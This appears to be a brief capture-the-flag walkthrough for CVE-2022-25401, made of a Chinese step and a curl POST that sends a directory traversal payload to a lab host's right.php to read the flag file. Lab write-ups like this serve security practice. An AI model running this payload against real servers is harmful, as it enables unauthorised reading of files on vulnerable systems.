CVE-2022-25401

  1. 根据Poc请求 /administrator/templates/default/html/windows/right.php
    2
. curl -X POST "http://eci-2zebxtc4a3cdx03gqx97.cloudeci1.ichunqiu.com/templates/default/html/windows/right.php" -d "url=../../../../../../../../../../../../flag"